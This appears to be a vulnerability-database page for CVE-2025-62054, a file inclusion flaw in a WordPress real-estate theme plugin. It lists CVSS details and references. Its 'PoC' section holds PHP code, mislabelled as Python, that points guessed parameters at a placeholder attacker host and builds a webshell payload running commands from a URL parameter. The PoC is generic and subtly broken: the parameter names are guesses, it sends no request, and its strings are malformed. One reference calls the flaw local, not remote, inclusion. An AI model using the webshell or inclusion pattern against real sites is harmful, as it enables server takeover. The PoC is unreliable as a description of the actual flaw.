CVE-2025-62054

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in favethemes Houzez Theme - Functionality houzez-theme-functionality.This issue affects Houzez Theme - Functionality: from n/a through <= 4.1.8.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

houzez-theme-functionality <= 4.1.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-62054 PoC - Houzez Theme Remote File Inclusion
 * Target: WordPress Houzez Theme Functionality Plugin <= 4.1.8
 * Vulnerability: PHP Remote File Inclusion (RFI)
 * Author: Security Researcher
 * Note: For authorized penetration testing only
 */

// PoC for demonstrating CVE-2025-62054
// Attack vector: Manipulate include/require statements with remote URLs

$target = 'http://target-site.com/wp-content/plugins/houzez-theme-functionality/';
$attacker_server = 'http://attacker-server.com/malicious.php';

// Typical vulnerable parameter pattern
$vulnerable_params = [
    'file' => $attacker_server,
    'path' => $attacker_server,
    'template' => $attacker_server,
    'page' => $attacker_server,
    'action' => $attacker_server
];

// Generate malicious PHP payload
$payload = '<?php\n';
$payload .= '// Webshell or malicious code here\n';
$payload .= 'if(isset($_GET["cmd"])){\n';
$payload .= '    system($_GET["cmd"]);\n';
$payload .= '}\n';
$payload .= '?>\n';

// Simulate attack request
foreach ($vulnerable_params as $param => $value) {
    $exploit_url = $target . '?' . $param . '=' . urlencode($value);
    echo "Testing: $exploit_url\n";
    // In real attack: file_get_contents($exploit_url) or curl request
}

echo "\n[!] This PoC demonstrates the RFI vulnerability\n";
echo "[!] Host malicious.php on attacker-controlled server\n";
echo "[!] Replace parameter values with your malicious URL\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62054
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62054
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62054/
[4] VulDB https://vuldb.com/cve/CVE-2025-62054
[5] https://patchstack.com/database/Wordpress/Plugin/houzez-theme-functionality/vulnerability/wordpress-houzez-theme-functionality-plugin-4-1-8-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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